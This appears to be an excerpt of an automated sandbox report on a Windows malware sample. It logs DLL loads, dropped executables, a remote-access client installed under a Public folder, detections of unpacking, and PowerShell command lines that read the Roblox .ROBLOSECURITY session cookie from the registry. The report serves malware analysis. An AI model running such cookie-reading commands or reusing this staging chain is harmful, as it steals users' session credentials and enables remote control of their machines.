Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe

File written: C:\Users\Public\Netstat\client32.ini

Source: C:\Users\Public\Netstat\FuturreApp.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3037184 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe

File opened: C:\Users\Public\Netstat\msvcr100.dll

Source: file.exe

Static PE information: Raw size of uyplpdnx is bigger than: 0x100000 < 0x2b3e00

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: m9sfEU9.exe, 00000051.00000000.2623878059.0000000000160000.00000002.00000001.01000000.0000001F.sdmp, m9sfEU9.exe, 00000051.00000002.2648520740.0000000000160000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: FuturreApp.exe, 00000055.00000002.7290420572.000000006C002000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: D1UL0FG.exe, 00000006.00000002.3002205748.00007FF8A873C000.00000040.00000001.01000000.0000001A.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: D1UL0FG.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbMM source: D1UL0FG.exe, 00000006.00000002.3011719584.00007FF8B916B000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: D1UL0FG.exe, 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: FuturreApp.exe, 00000055.00000000.2642607921.0000000000922000.00000002.00000001.01000000.00000022.sdmp, FuturreApp.exe, 00000055.00000002.7276259050.0000000000922000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: D1UL0FG.exe, 00000006.00000002.3002970846.00007FF8A89A0000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3002970846.00007FF8A8A22000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000063.00000002.2839636582.00007FF62B1A0000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3013531293.00007FF8BFAD1000.00000040.00000001.01000000.00000014.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.pdbhP source: powershell.exe, 00000037.00000002.2645286273.0000021F95B72000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: msvcr100.i386.pdb source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7289151898.000000006BF21000.00000020.00000001.01000000.00000026.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: D1UL0FG.exe, 00000006.00000002.3002970846.00007FF8A89A0000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: D1UL0FG.exe, 00000005.00000003.2466075988.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.3014816312.00007FF8BFBA1000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3014453254.00007FF8BFB61000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008792565.00007FF8B90E1000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python310.pdb source: D1UL0FG.exe, 00000006.00000002.3005171596.00007FF8A8E0F000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3013206314.00007FF8BFAB1000.00000040.00000001.01000000.00000019.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: D1UL0FG.exe, 00000006.00000002.3011719584.00007FF8B916B000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.3012961847.00007FF8BA24D000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: FuturreApp.exe, 00000055.00000002.7289981712.000000006BFE5000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3011122158.00007FF8B9131000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3012153000.00007FF8B93C1000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.5971400666.0000000001402000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.0000000001402000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3010460517.00007FF8B9101000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.pdb source: powershell.exe, 00000037.00000002.2645286273.0000021F95B72000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.260000.0.unpack :EW;.rsrc:W;.idata :W;uyplpdnx:EW;lxepjdzt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uyplpdnx:EW;lxepjdzt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.690000.0.unpack :EW;.rsrc:W;.idata :W;uyplpdnx:EW;lxepjdzt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uyplpdnx:EW;lxepjdzt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.690000.0.unpack :EW;.rsrc:W;.idata :W;uyplpdnx:EW;lxepjdzt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uyplpdnx:EW;lxepjdzt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 89.2.skotes.exe.690000.0.unpack :EW;.rsrc:W;.idata :W;uyplpdnx:EW;lxepjdzt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uyplpdnx:EW;lxepjdzt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Unpacked PE file: 96.2.d188864e84.exe.a00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

Source: random[4].exe1.3.dr

Static PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline"
